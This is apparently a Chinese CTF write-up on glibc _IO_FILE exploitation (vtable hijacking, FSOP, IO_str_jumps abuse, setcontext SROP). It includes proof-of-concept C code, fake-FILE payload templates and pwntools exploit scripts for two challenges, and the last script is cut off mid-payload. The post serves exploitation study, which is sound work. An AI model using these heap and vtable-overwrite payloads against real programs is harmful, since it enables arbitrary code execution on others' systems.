IO_FILE
LOLOLO Lv3

_IO_FILE结构体利用

首先明确我们利用的_IO_FILE的结构是怎样的,代码如下,先是定义了_IO_list_all,定义如下

1
extern struct _IO_FILE_plus *_IO_list_all;

很明显可以知道IO_list_all是一个_IO_FILE_plus类型的指针,而IO_FILE_plus的定义如下

1
2
3
4
5
struct _IO_FILE_plus
{
_IO_FILE file;
const struct _IO_jump_t *vtable;
};

上面的代码又告诉我们,每个_IO_FILE_plus又包含了两个内容分别是_IO_FILE file和*vtable,其中vtable又是_IO_jump_t类型的指针

IO_FILE file结构如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
struct _IO_FILE {
int _flags; /* High-order word is _IO_MAGIC; rest is flags. */
#define _IO_file_flags _flags

/* The following pointers correspond to the C++ streambuf protocol. */
/* Note: Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
char* _IO_read_ptr; /* Current read pointer */
char* _IO_read_end; /* End of get area. */
char* _IO_read_base; /* Start of putback+get area. */
char* _IO_write_base; /* Start of put area. */
char* _IO_write_ptr; /* Current put pointer. */
char* _IO_write_end; /* End of put area. */
char* _IO_buf_base; /* Start of reserve area. */
char* _IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
char *_IO_save_base; /* Pointer to start of non-current get area. */
char *_IO_backup_base; /* Pointer to first valid character of backup area */
char *_IO_save_end; /* Pointer to end of non-current get area. */

struct _IO_marker *_markers;

struct _IO_FILE *_chain /*这个用来链接下一个FILE结构 0x68*/

int _fileno;
#if 0
int _blksize;
#else
int _flags2;
#endif
_IO_off_t _old_offset; /* This used to be _offset but it's too small. */

#define __HAVE_COLUMN /* temporary */
/* 1+column number of pbase(); 0 is unknown. */
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1];

/* char* _save_gptr; char* _save_egptr; */

_IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};

在我的理解下,在程序启动时FILE结构体会通过struct _IO_FILE *_chain链接成为一个表,在x64位下chain的偏移为0x60,而链表头部用_IO_list_all指针表示。

则有一开始的顺序为_IO_list_all->stderr->stdout->stdin。在程序的bss段,我们能找到stderr\stdout\stdin等符号,这些符号只是指向了FILE的结构的指针;而真正的符号如下

1
2
3
4
_IO_2_1_stderr_
_IO_2_1_stdout_
_IO_2_1_stdin_
上面三个符号,每一个都是被_IO_FILE_plus定义的,即每一个都包含了_IO_FILE file和*vtable

这里借助其他师傅的博客参考了_IO_FILE_plus的各个位移记录

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
0x0   _flags
0x8 _IO_read_ptr
0x10 _IO_read_end
0x18 _IO_read_base
0x20 _IO_write_base
0x28 _IO_write_ptr
0x30 _IO_write_end
0x38 _IO_buf_base
0x40 _IO_buf_end
0x48 _IO_save_base
0x50 _IO_backup_base
0x58 _IO_save_end
0x60 _markers
0x68 _chain
0x70 _fileno
0x74 _flags2
0x78 _old_offset
0x80 _cur_column
0x82 _vtable_offset
0x83 _shortbuf
0x88 _lock
0x90 _offset
0x98 _codecvt
0xa0 _wide_data
0xa8 _freeres_list
0xb0 _freeres_buf
0xb8 __pad5
0xc0 _mode
0xc4 _unused2
0xd8 vtable

vtable结构如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
struct _IO_jump_t
{
JUMP_FIELD(size_t, __dummy);
JUMP_FIELD(size_t, __dummy2);
JUMP_FIELD(_IO_finish_t, __finish);
JUMP_FIELD(_IO_overflow_t, __overflow);
JUMP_FIELD(_IO_underflow_t, __underflow);
JUMP_FIELD(_IO_underflow_t, __uflow);
JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
/* showmany */
JUMP_FIELD(_IO_xsputn_t, __xsputn);
JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
JUMP_FIELD(_IO_seekoff_t, __seekoff);
JUMP_FIELD(_IO_seekpos_t, __seekpos);
JUMP_FIELD(_IO_setbuf_t, __setbuf);
JUMP_FIELD(_IO_sync_t, __sync);
JUMP_FIELD(_IO_doallocate_t, __doallocate);
JUMP_FIELD(_IO_read_t, __read);
JUMP_FIELD(_IO_write_t, __write);
JUMP_FIELD(_IO_seek_t, __seek);
JUMP_FIELD(_IO_close_t, __close);
JUMP_FIELD(_IO_stat_t, __stat);
JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
JUMP_FIELD(_IO_imbue_t, __imbue);
#if 0
get_column;
set_column;
#endif
};

vtable是_IO_jump_t类型的指针,_IO_jump_t中保存了一些函数指针,在后面我们会看到在一系列标准IO函数中会调用这些函数指针,该类型在libc文件中的导出符号是_IO_file_jumps。

简单记录一些C函数对应调用了_IO_jump_t的函数

  1. printf/puts 最终会调用_IO_file_xsputn
  2. fclose 最终会调用_IO_FILE_FINISH
  3. fwrite最终会调用_IO_file_xsputn
  4. fread 最终会调用_IO_fiel_xsgetn
  5. scanf/gets最终会调用_IO_file_xsgetn

通常会将_IO_overflow_t,改为system或onegadget地址完成利用

这里记录两个特别的调用,就是调用exit()的时候会进行如下的调用

1
exit(0) ==> __run_exit_handlers ==> _IO_cleanup ==> _IO_flush_all_lockp ==> IO_file_overflow ==> malloc .....
1
2
3
4
malloc发生错误时调用->malloc_printerr打印错误信息->_IO_flush_all_lockp-> _IO_OVERFLOW     (当满足下面条件时,会执行最后调用OVERFLOW)
fp->_mode > 0
_IO_vtable_offset (fp) == 0
fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base

两种利用_IO_FILE的方式(2.23版本下)

首先是对vtable进行利用(两种劫持方法)

第一种

直接改写vtable的内容,即是_IO_jump_t结构体里面的函数;POC如下

1
2
3
4
5
6
7
8
9
10
11
int main(void)
{
FILE *fp;
long long *vtable_ptr;
fp=fopen("123.txt","rw");
vtable_ptr=*(long long*)((long long)fp+0xd8); //get vtable

vtable_ptr[7]=0x41414141 //xsputn

printf("call 0x41414141");
}

上诉代码表明了,我们可以直接给vtable的函数参数,一般某个函数的确定是依靠我们使用的IO函数来确定的;上述代码中,调用了printf函数,而printf最终会调用_IO_file_xsputn,而该函数在_IO_jump_t中的偏移为7,即vtavle[7]。

xsputn 等 vtable 函数进行调用时,传入的第一个参数其实是对应的_IO_FILE_plus 地址。比如这例子调用 printf,传递给 vtable 的第一个参数就是_IO_2_1_stdout_的地址。

利用这点可以实现给劫持的 vtable 函数传參,比如

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#define system_ptr 0x7ffff7a52390;

int main(void)
{
FILE *fp;
long long *vtable_ptr;
fp=fopen("123.txt","rw");
vtable_ptr=*(long long*)((long long)fp+0xd8); //get vtable

memcopy(fp,"sh",3);

vtable_ptr[7]=system_ptr //xsputn


fwrite("hi",2,1,fp);
}

fwrite会调用xsputn,即vtable[7]。即最后应该是system(“hi”,2,1,fp)。

第二种

伪造vtable,手动构造vtable的函数;POC如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#define system_ptr 0x7ffff7a52390;

int main(void)
{
FILE *fp;
long long *vtable_addr,*fake_vtable;

fp=fopen("123.txt","rw");
fake_vtable=malloc(0x40);

vtable_addr=(long long *)((long long)fp+0xd8); //vtable offset

vtable_addr[0]=(long long)fake_vtable;

memcpy(fp,"sh",3);

fake_vtable[7]=system_ptr; //xsputn

fwrite("hi",2,1,fp);
}

我们首先分配一款内存来存放伪造的 vtable,之后修改_IO_FILE_plus 的 vtable 指针指向这块内存。因为 vtable 中的指针我们放置的是 system 函数的地址,因此需要传递参数 “/bin/sh” 或 “sh”。

因为 vtable 中的函数调用时会把对应的_IO_FILE_plus 指针作为第一个参数传递,因此这里我们把 “sh” 写入_IO_FILE_plus 头部。之后对 fwrite 的调用就会经过我们伪造的 vtable 执行 system(“sh”)。

同样,如果程序中不存在 fopen 等函数创建的_IO_FILE 时,也可以选择 stdin\stdout\stderr 等位于 libc.so 中的_IO_FILE,这些流在 printf\scanf 等函数中就会被使用到。在 libc2.23 之前,这些 vtable 是可以写入并且不存在其他检测的。

FSOP(2.23版本)

个人理解就是,通过unsorted bin attack 向_IO_list_all里面写入一个地址,通常是main_arena+96,而该地址好像是small bin[4]的头;然后我们通过堆溢出或则其它的手段,构造一个假的_IO_FILE,并且把它的vtable改写为我们能够任意写的地址,然后把_IO_overflow改为system或者onegadget;如果改为system,就需要在假的_IO_FILE结构的flag填充为/bin/sh,因为调用vtable的时候,会将它的_IO_FILE_plus地址当作第一个参数传递

FSOP 的核心思想就是劫持_IO_list_all 的值来伪造链表和其中的_IO_FILE 项,但是单纯的伪造只是构造了数据还需要某种方法进行触发。FSOP 选择的触发方法是调用_IO_flush_all_lockp,这个函数会刷新_IO_list_all 链表中所有项的文件流,相当于对每个 FILE 调用 fflush,也对应着会调用_IO_FILE_plus.vtable 中的_IO_overflow。

而_IO_flush_all_lockp 不需要攻击者手动调用,在一些情况下这个函数会被系统调用:

  1. 当 libc 执行 abort 流程时
  2. 当执行 exit 函数时
  3. 当执行流从 main 函数返回时

当 glibc 检测到内存错误时,会依次调用这样的函数路径:malloc_printerr ->

libc_message->__GI_abort -> _IO_flush_all_lockp -> _IO_OVERFLOW

利用条件

伪造 fp->_mode = 0, fp->_IO_write_ptr > fp->_IO_write_base通过验证

利用模板

x64位

1
2
3
4
5
6
7
8
stream = "/bin/sh\x00"+p64(0x61)
stream += p64(0xDEADBEEF)+p64(IO_list_all-0x10)
stream +=p64(1)+p64(2) # fp->_IO_write_ptr > fp->_IO_write_base
stream = stream.ljust(0xc0,"\x00")
stream += p64(0) # mode<=0
stream += p64(0)
stream += p64(0)
stream += p64(vtable_addr)

x32位

1
2
3
4
5
6
7
8
stream = "sh\x00\x00"+p32(0x31)   # system_call_parameter and link to small_bin[4]
stream += ";$0\x00"+p32(IO_list_all-0x8) # Unsorted_bin attack
stream +=p32(1)+p32(2) # fp->_IO_write_ptr > fp->_IO_write_base
stream = stream.ljust(0x88,"\x00")
stream += p32(0) # mode<=0
stream += p32(0)
stream += p32(0)
stream += p32(vtable_addr) # vtable_addr --> system

64位下seccomp禁用execve系统调用的构造模板

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
io_list_all = libc_base+libc.symbols['_IO_list_all']
setcontext = libc_base+libc.symbols['setcontext']
mprotect = libc_base+libc.symbols['mprotect']
Open = libc_base+libc.symbols['open']
Read = libc_base+libc.symbols['read']
Write = libc_base+libc.symbols['write']
pop_rdi_ret = 0x0000000000400d93
pop_rsi_ret = libc_base+0x00000000000202e8
pop_rdx_ret = libc_base+0x0000000000001b92
pop_rdi_rbp_ret = libc_base+0x0000000000020256
pop_three_ret = 0x0000000000400d8f
ret = 0x00000000004008d9

context.arch = 'amd64'
shellcode = asm(shellcraft.amd64.linux.cat('flag'))

rop = flat(
p64(pop_rdi_ret),
p64(current_io_chunk&~0xfff),
p64(pop_rsi_ret),
p64(0x1000),
p64(pop_rdx_ret),
p64(7),
p64(mprotect),
)

rop += p64(current_io_chunk+0x30+len(rop)+8)+shellcode

fake_vtable = current_io_chunk+0xe0-0x18

payload = p64(0) + p64(0x61)
payload += p64(0xddaa) + p64(io_list_all-0x10)
payload += p64(2) + p64(3)
payload += rop
payload = payload.ljust(0xa0,'\x00')
payload += p64(current_io_chunk+0x30) #rsp
payload += p64(ret) # to rop
payload = payload.ljust(0xd8,'\x00')
payload += p64(fake_vtable)
payload += p64(setcontext+53) # 0xe0

例题:houseoforange-hitcon-2016

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
from pwn import *
context(log_level='debug',os='linux',arch='amd64')
p = process('./1')
# p=remote('node4.buuoj.cn',29277)
elf =ELF('./1')
libc = ELF('/home/lol/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')
# libc=ELF('./libc-2.23.so')
offset = libc.symbols["__malloc_hook"] + 0x10
one_gadget=[0x45226,0x4527a,0xf03a4,0xf1247]
def build(length,name,price):
p.recvuntil("Your choice : ")
p.sendline("1")
p.recvuntil("Length of name :")
p.sendline(str(length))
p.recvuntil("Name :")
p.send(name)
p.recvuntil("Price of Orange:")
p.sendline(str(price))
p.recvuntil("Color of Orange:")
p.sendline("4")

def see():
p.recvuntil("Your choice : ")
p.sendline("2")

def upgrade(length,name,price):
p.recvuntil("Your choice : ")
p.sendline("3")
p.recvuntil("Length of name :")
p.sendline(str(length))
p.recvuntil("Name:")
p.send(name)
p.recvuntil("Price of Orange:")
p.sendline(str(price))
p.recvuntil("Color of Orange:")
p.sendline("4")

build(0x70,'a'*0x8,32)
payload = b'b'*0x78+p64(0x21)+p64(0xa0)+p64(0x22)+b'c'*0x8+p64(0x0f41)
#print (hex(len(payload)))
upgrade(len(payload),payload,0xa0)
build(0x1000,'d'*100,88)
build(0x400,'\x78',88)
see()
p.recvuntil("Name of house : ")
base=u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00')) -88-offset-0x600
print (hex(base))
# gdb.attach(p)
one_gadget=base +one_gadget[0]
io_list_all = base +libc.symbols['_IO_list_all']
sys=base+libc.sym['system']
vtable = base+libc.sym['_IO_2_1_stderr_']+0xd8
#print (hex(vtable))
#print (hex(io_list_all))
payload1 ='c'*0x10+'\x78'
upgrade(0x11,payload1,88)
see()
p.recvuntil('c'*0x10)
heap = u64(p.recvuntil('\n').strip().ljust(8, b'\x00'))-0x58
heap_base = heap-0x120
print (hex(heap_base))
payload2 =b'a'*0x400+p64(0)+p64(0x21)+p32(0x58)+p32(0x22)+p64(0)
fake_file = b"/bin/sh\x00"+p64(0x61)+p64(0)+p64(io_list_all-0x10)
fake_file +=p64(0)+p64(1)
fake_file = fake_file.ljust(0xc0,b'\x00')
fake_file += p64(0) * 3
fake_file += p64(heap_base+0x630)
fake_file += p64(0) * 3
fake_file += p64(sys)
payload2 += fake_file
upgrade(len(payload2), payload2, 88)
# gdb.attach(p)
p.recvuntil("Your choice : ")
p.sendline('1')
gdb.attach(p)
sleep(1)
p.interactive()

FSOP(2.24版本)

个人理解就是,vtable不能随便改为我们的任意写地址,需要改为在stop_IO_vtablesstart_libc_IO_vtables 之间;满足这个条件的有IO_str_jumps与**__IO_wstr_jumps**;所以在2.24版本中,我们需要将假_IO_FILE的vtable地址改为str_jumps或者wstr_jumps。

libc2.24对vtable做了一些限制约束,对 vtable 进行校验的函数是 IO_validate_vtable

1
2
3
4
5
6
7
8
9
10
11
12
13
14
static inline const struct _IO_jump_t *
IO_validate_vtable (const struct _IO_jump_t *vtable)
{
/* Fast path: The vtable pointer is within the __libc_IO_vtables
section. */
uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;
const char *ptr = (const char *) vtable;
uintptr_t offset = ptr - __start___libc_IO_vtables;
if (__glibc_unlikely (offset >= section_length))
/* The vtable pointer is not in the expected section. Use the
slow path, which will terminate the process if necessary. */
_IO_vtable_check ();
return vtable;
}

vtable必须要满足 在 stop_IO_vtablesstart_libc_IO_vtables 之间,而我们伪造的vtable通常不满足这个条件。
但是_IO_str_jumps 与__IO_wstr_jumps就位于 __stop___libc_IO_vtables 和 __start___libc_IO_vtables 之间, 所以我们是可以利用他们来通过 IO_validate_vtable 的检测的,只需要将vtable填成_IO_str_jumps 或__IO_wstr_jumps就行。有两种利用方式如下:

  • 利用__IO_str_jumps中的_IO_str_finsh函数
  • 利用__IO_str_jumps中的_IO_str_overflow函数

IO_str_jumps结构如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24

const struct _IO_jump_t _IO_str_jumps libio_vtable =
{
JUMP_INIT_DUMMY,
JUMP_INIT(finish, _IO_str_finish),
JUMP_INIT(overflow, _IO_str_overflow), #这个函数会调用FILE+0xe0处的地址
JUMP_INIT(underflow, _IO_str_underflow),
JUMP_INIT(uflow, _IO_default_uflow),
JUMP_INIT(pbackfail, _IO_str_pbackfail),
JUMP_INIT(xsputn, _IO_default_xsputn),
JUMP_INIT(xsgetn, _IO_default_xsgetn),
JUMP_INIT(seekoff, _IO_str_seekoff),
JUMP_INIT(seekpos, _IO_default_seekpos),
JUMP_INIT(setbuf, _IO_default_setbuf),
JUMP_INIT(sync, _IO_default_sync),
JUMP_INIT(doallocate, _IO_default_doallocate),
JUMP_INIT(read, _IO_default_read),
JUMP_INIT(write, _IO_default_write),
JUMP_INIT(seek, _IO_default_seek),
JUMP_INIT(close, _IO_default_close),
JUMP_INIT(stat, _IO_default_stat),
JUMP_INIT(showmanyc, _IO_default_showmanyc),
JUMP_INIT(imbue, _IO_default_imbue)
};

其中 IO_str_overflow 函数会调用 FILE+0xe0处的地址。这时只要我们将虚表覆盖为 IO_str_jumps将偏移0xe0处设置为one_gadget即可。

还有一种就是利用io_finish函数,同上面的类似, io_finish会以 IO_buf_base处的值为参数跳转至 FILE+0xe8处的地址。执行 fclose( fp)时会调用此函数,但是大多数情况下可能不会有 fclose(fp),这时我们还是可以利用异常来调用 io_finish,异常时调用 IO_OVERFLOW

是根据IO_str_overflow在虚表中的偏移找到的, 我们可以设置vtable为IO_str_jumps-0x8异常时会调用io_finish函数。

2.23-2.24总结利用

共同点,都需要通过调用 _IO_flush_all_lockp()函数来触发,有三种情况。

  1. 当 libc 执行 abort 流程时。
  2. 当执行流从 main 函数返回时
  3. 当执行 exit 函数时。
  4. 当 glibc 检测到内存错误时,会依次调用这样的函数路径:malloc_printerr ->libc_message->__GI_abort -> _IO_flush_all_lockp -> _IO_OVERFLOW
  • 2.23版本下FSOP,个人理解就是,通过unsorted bin attack 向_IO_list_all里面写入一个地址,通常是main_arena+96,而该地址好像是small bin[4]的头;然后我们通过堆溢出或则其它的手段,构造一个假的_IO_FILE,并且把它的vtable改写为我们能够任意写的地址,然后把_IO_overflow改为system或者onegadget;如果改为system,就需要在假的_IO_FILE结构的flag填充为/bin/sh,因为调用vtable的时候,会将它的_IO_FILE_plus地址当作第一个参数传递。
  • 2.24版本以上2.31以下,个人理解就是,vtable不能随便改为我们的任意写地址,需要改为在stop_IO_vtablesstart_libc_IO_vtables 之间;满足这个条件的有IO_str_jumps与**__IO_wstr_jumps**;所以在2.24版本中,我们需要将假_IO_FILE的vtable地址改为str_jumps或者wstr_jumps。利用条件,同上面一样,但是需要注意vtable地址的指向,以及注意将FILE+0xe0处的地址改为onegadget。原因是IO_str_overflow函数会调用FILE+0xe0的地址。

2.31版本下的IO_FILE利用

2.32下的io_str_overflow

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
int
_IO_str_overflow (FILE *fp, int c)
{
int flush_only = c == EOF;
size_t pos;
if (fp->_flags & _IO_NO_WRITES)
return flush_only ? 0 : EOF;
if ((fp->_flags & _IO_TIED_PUT_GET) && !(fp->_flags & _IO_CURRENTLY_PUTTING))
{
fp->_flags |= _IO_CURRENTLY_PUTTING;
fp->_IO_write_ptr = fp->_IO_read_ptr;
fp->_IO_read_ptr = fp->_IO_read_end;
}
pos = fp->_IO_write_ptr - fp->_IO_write_base;
if (pos >= (size_t) (_IO_blen (fp) + flush_only))
{
if (fp->_flags & _IO_USER_BUF) /* not allowed to enlarge */
return EOF;
else
{
char *new_buf;
char *old_buf = fp->_IO_buf_base;
size_t old_blen = _IO_blen (fp);
size_t new_size = 2 * old_blen + 100;
if (new_size < old_blen)
return EOF;
new_buf = malloc (new_size);
if (new_buf == NULL)
{
/* __ferror(fp) = 1; */
return EOF;
}
if (old_buf)
{
memcpy (new_buf, old_buf, old_blen);
free (old_buf);
/* Make sure _IO_setb won't try to delete _IO_buf_base. */
fp->_IO_buf_base = NULL;
}
memset (new_buf + old_blen, '\0', new_size - old_blen);

_IO_setb (fp, new_buf, new_buf + new_size, 1);
fp->_IO_read_base = new_buf + (fp->_IO_read_base - old_buf);
fp->_IO_read_ptr = new_buf + (fp->_IO_read_ptr - old_buf);
fp->_IO_read_end = new_buf + (fp->_IO_read_end - old_buf);
fp->_IO_write_ptr = new_buf + (fp->_IO_write_ptr - old_buf);

fp->_IO_write_base = new_buf;
fp->_IO_write_end = fp->_IO_buf_end;
}
}

if (!flush_only)
*fp->_IO_write_ptr++ = (unsigned char) c;
if (fp->_IO_write_ptr > fp->_IO_read_end)
fp->_IO_read_end = fp->_IO_write_ptr;
return c;
}

可以看到程序里面有malloc,memcpy,free等函数,并且参数我们都可以控制因此可以利用这一点来进行非预期的堆块申请释放和填充,而且我们看一下IO_str_overflow的汇编代码可以看到一个有意思的位置:

亦可以直接使用IDA查看libc-2.31.so搜索IO_str_overflow

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
0x7ffff7e6eb20 <__GI__IO_str_overflow>:    repz nop edx
0x7ffff7e6eb24 <__GI__IO_str_overflow+4>: push r15
0x7ffff7e6eb26 <__GI__IO_str_overflow+6>: push r14
0x7ffff7e6eb28 <__GI__IO_str_overflow+8>: push r13
0x7ffff7e6eb2a <__GI__IO_str_overflow+10>: push r12
0x7ffff7e6eb2c <__GI__IO_str_overflow+12>: push rbp
0x7ffff7e6eb2d <__GI__IO_str_overflow+13>: mov ebp,esi
0x7ffff7e6eb2f <__GI__IO_str_overflow+15>: push rbx
0x7ffff7e6eb30 <__GI__IO_str_overflow+16>: sub rsp,0x28
0x7ffff7e6eb34 <__GI__IO_str_overflow+20>: mov eax,DWORD PTR [rdi]
0x7ffff7e6eb36 <__GI__IO_str_overflow+22>: test al,0x8
0x7ffff7e6eb38 <__GI__IO_str_overflow+24>: jne 0x7ffff7e6eca0 <__GI__IO_str_overflow+384>
0x7ffff7e6eb3e <__GI__IO_str_overflow+30>: mov edx,eax
0x7ffff7e6eb40 <__GI__IO_str_overflow+32>: mov rbx,rdi
0x7ffff7e6eb43 <__GI__IO_str_overflow+35>: and edx,0xc00
0x7ffff7e6eb49 <__GI__IO_str_overflow+41>: cmp edx,0x400
0x7ffff7e6eb4f <__GI__IO_str_overflow+47>: je 0x7ffff7e6ec80 <__GI__IO_str_overflow+352>
0x7ffff7e6eb55 <__GI__IO_str_overflow+53>: mov rdx,QWORD PTR [rdi+0x28] <----
0x7ffff7e6eb59 <__GI__IO_str_overflow+57>: mov r14,QWORD PTR [rbx+0x38]
0x7ffff7e6eb5d <__GI__IO_str_overflow+61>: mov r12,QWORD PTR [rbx+0x40]
0x7ffff7e6eb61 <__GI__IO_str_overflow+65>: xor ecx,ecx
0x7ffff7e6eb63 <__GI__IO_str_overflow+67>: mov rsi,rdx
0x7ffff7e6eb66 <__GI__IO_str_overflow+70>: sub r12,r14
0x7ffff7e6eb69 <__GI__IO_str_overflow+73>: cmp ebp,0xffffffff
0x7ffff7e6eb6c <__GI__IO_str_overflow+76>: sete cl
0x7ffff7e6eb6f <__GI__IO_str_overflow+79>: sub rsi,QWORD PTR [rbx+0x20]
0x7ffff7e6eb73 <__GI__IO_str_overflow+83>: add rcx,r12
0x7ffff7e6eb76 <__GI__IO_str_overflow+86>: cmp rcx,rsi
0x7ffff7e6eb79 <__GI__IO_str_overflow+89>: ja 0x7ffff7e6ec4a <__GI__IO_str_overflow+298>
0x7ffff7e6eb7f <__GI__IO_str_overflow+95>: test al,0x1
0x7ffff7e6eb81 <__GI__IO_str_overflow+97>: jne 0x7ffff7e6ecc0 <__GI__IO_str_overflow+416>
0x7ffff7e6eb87 <__GI__IO_str_overflow+103>: lea r15,[r12+r12*1+0x64]

可以看到在调用malloc之前的0x7ffff7e6eb55位置rdx被赋值为**[rdi+0x28],而此时的rdi恰好指向我们伪造的IO_FILE_plus的头部,而在glibc2.29的版本上setcontext的利用从以前的rdi变为了rdx,因此我们可以通过这个位置来进行新版下的setcontext,进而实现srop**,具体做法是利用非预期地址填充将malloc_hook填充为setcontext,这样在我们进入io_str_overflow时首先会将rdx赋值为我们可以控制的地址,然后在后面malloc的时候会触发setcontext,而此时rdx已经可控,因此就可以成功实现srop
综上可知参数对应关系为:

1
2
3
4
5
_flags = 0
_IO_write_ptr = 用于srop的地址(此时同时满足了fp->_IO_write_ptr - fp->_IO_write_base >= _IO_buf_end - _IO_buf_base)
new_buf = malloc(2 * (_IO_buf_end - _IO_buf_base ) + 100)
memcpy(new_buf,_IO_buf_base,_IO_buf_end - _IO_buf_base)
free(_IO_buf_base)

个人总结2.31IO利用如下

通过large bin attack或者tcache attack或者unsorted bin attack,可以更改_IO_list_all,或者直接任意写到 _IO_2_1_stdout_,来伪造一个fake_io达到我们的目的,然后通过向malloc_hook写入setcontext+61;在2.31版本下,setcontext的参数从rdi变成了rdx;而在2.31下io_str_overflow汇编中在调用malloc前存在一个

mov rdx,QWORD PTR [rdi+0x28],而此时rdi正好指向我们构造的IO_FILE_plus,即是有将我们构造的IO_FILE_plus+0x28处指向我们的srop的地址。

pwnhub公开赛一道题目为例

moregrilfriends

exp是直接用的这位师傅

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
# -*- coding: UTF-8 -*-

from pwn import *
context(os='linux',arch='amd64')
elf = ELF("./moregirlfriend")
libc = ELF('./libc-2.31.so')
# libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

loacl = 1
context.log_level = 'debug'

if loacl:
p = process("./moregirlfriend")
else:
p = remote("node4.buuoj.cn","29242")

def choice(idx):
p.sendlineafter("wow:",str(idx))

def add(idx,size,data):
choice(1)
p.sendlineafter("more one?",str(idx))
p.sendlineafter("Height?",str(size))
p.sendlineafter("girlfriend?",data)

def free():
choice(3)

def delete(num,idx=[]):
choice(2)
p.sendlineafter("leave you?",str(num))
for i in range(num):
p.sendlineafter("Which girlfriend?",str(idx[i]))
free()


# ========[leak libc]===========
add(0,0x450,"0")
add(1,0x450,"1") # leave top chunk
delete(1,[0])
add(0,0x450,"0"*8)
delete(1,[0]) # leak libc (unsortedbin bk)
p.recvuntil("0"*8)
addr = u64(p.recvuntil('\x7f').ljust(8,'\x00'))
libc_base = addr-libc.sym['__malloc_hook'] - 0x10 - 96
log.success("libc_base ==> "+hex(libc_base))
delete(1,[1]) # init bins

# =========[UAF & leak heap]=========
for i in range(11): # chunk[0-10]
add(i,0x68,str(i)*3)

delete(2,[1,2]) # Full tcache
delete(8,[3,4,5,6,7,8,0,9]) # double free chunk[0]
# 2+8+1 = 11chunks = 7tcaches + 3fatsbins(loss chunk[8])
# fastbins: chunk[0]->chunk[9]->chunk[0]
p.recvuntil("9 has left you.")
heap = u64(p.recvuntil('\x55').ljust(8,'\x00')) >> 8
heap_base = heap & 0xfffffffff000
log.success("heap_base ==> "+hex(heap_base))

# =========[get real addr]===========
malloc_hook = libc_base+libc.sym['__malloc_hook']
malloc_hook_base = malloc_hook & 0xFFFFFFFFF000
setcontext = libc_base+libc.sym['setcontext']
mprotect = libc_base+libc.sym['mprotect']
stdin = libc_base+libc.sym['_IO_2_1_stdin_']
vtable = libc_base+0x1ED560 # _IO_str_jumps

# =========[Tcache Attack]===========
for i in range(7): # empty tcache
if i == 6: # fake size
add(6,0x68,p64(0)+p64(0x291)) # 0x290 = 0x60+0x70*5
else:
add(i,0x68,"="*0x20+"=["+str(i)+"]=")

add(7,0x68,p64(heap_base+0x320))

add(11,0x68,"11")
add(12,0x68,'12')
add(13,0x68,'13') # tcache don't check chunk_size
'''
CHUNK[13]
0x0000000000000000 0x0000000000000071
0x0000000000000000 0x0000000000000291 <- CHUNK_PTR[6]
0x0000000000003331 0x0000000000000000 <- CHUNK_PTR[13]
0x0000000000000000 0x0000000000000000
'''
add(14,0x280,"14")
delete(3,[14,13,6])
add(6,0x68,p64(0)+p64(0x291)+p64(stdin))
# tcachebins
# 0x290 [ 2]: chunk[13] —> _IO_2_1_stdin_
add(13,0x280,"13")

# =============[fake IO file]===============
# size = 0xe0
fake_io = p64(0xfbad1800) #flag
fake_io += p64(0) #_IO_read_ptr
fake_io += p64(0) #_IO_read_end
fake_io += p64(0) #_IO_read_base
fake_io += p64(0) #_IO_write_base
fake_io += p64(stdin+0xe0) #_IO_write_ptr (setcontext的参数rdx,使其指向 srop_mprotect)
fake_io += p64(0) #_IO_write_end
fake_io += p64(0) #_IO_buf_base
fake_io += p64(0) #_IO_buf_end
fake_io += p64(0) #_IO_save_base
fake_io += p64(0) #_IO_backup_base
fake_io += p64(0) #_IO_save_end
fake_io += p64(0) #_markers
fake_io += p64(0) #_chain
fake_io += p64(0) #_fileno
fake_io += p64(0) #_flags2
fake_io += p64(0) #_old_offset
fake_io += p64(0) #_cur_column
fake_io += p64(0) #_vtable_offset
fake_io += p64(0) #_shortbuf
fake_io += p64(0) #_lock
fake_io += p64(0) #_offset
fake_io += p64(0) #_codecvt
